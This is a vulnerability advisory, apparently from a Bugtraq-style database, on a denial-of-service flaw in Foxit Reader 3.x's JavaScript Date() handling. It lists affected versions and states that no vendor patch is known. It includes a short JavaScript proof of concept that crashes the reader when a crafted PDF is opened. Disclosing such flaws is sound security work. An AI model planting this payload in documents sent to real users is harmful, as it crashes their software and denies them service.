Foxit Reader 'Date()' Denial of Service Vulnerability

BID:39223

Info

Foxit Reader 'Date()' Denial of Service Vulnerability

Bugtraq ID: 39223
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 06 2010 12:00AM
Updated: Apr 06 2010 12:00AM
Credit: juza
Vulnerable: Foxit Reader 3.1.1 Build 0928
Foxit Foxit Reader 3.2.1 0401
Foxit Foxit Reader 3.2 0303
Foxit Foxit Reader 3.0.2009 .1301
Foxit Foxit Reader 3.2
Foxit Foxit Reader 3.1.4.1125
Foxit Foxit Reader 3.0 Build 1817
Foxit Foxit Reader 3.0 Build 1506
Foxit Foxit Reader 3.0
Not Vulnerable:

Discussion

Foxit Reader 'Date()' Denial of Service Vulnerability

Foxit Reader is prone to a denial-of-service vulnerability because of an input-validation error.

Successfully exploiting this issue may allow attackers to crash the affected application, denying service to legitimate users.

Foxit Reader 3.2.1.0401 is vulnerable; other versions may also be affected.

Exploit / POC

Foxit Reader 'Date()' Denial of Service Vulnerability

Attackers can exploit this issue by enticing an unsuspecting user into opening a specially crafted file.

The following code is available:

function DoS( pdfDate ) {
eval("new Date(" + new Array(Number.NaN,Number.NaN).toSource().replace(/[\[\]]/g, "") + ")" );
}

DoS("DoS");

Solution / Fix

Foxit Reader 'Date()' Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Foxit Reader 'Date()' Denial of Service Vulnerability

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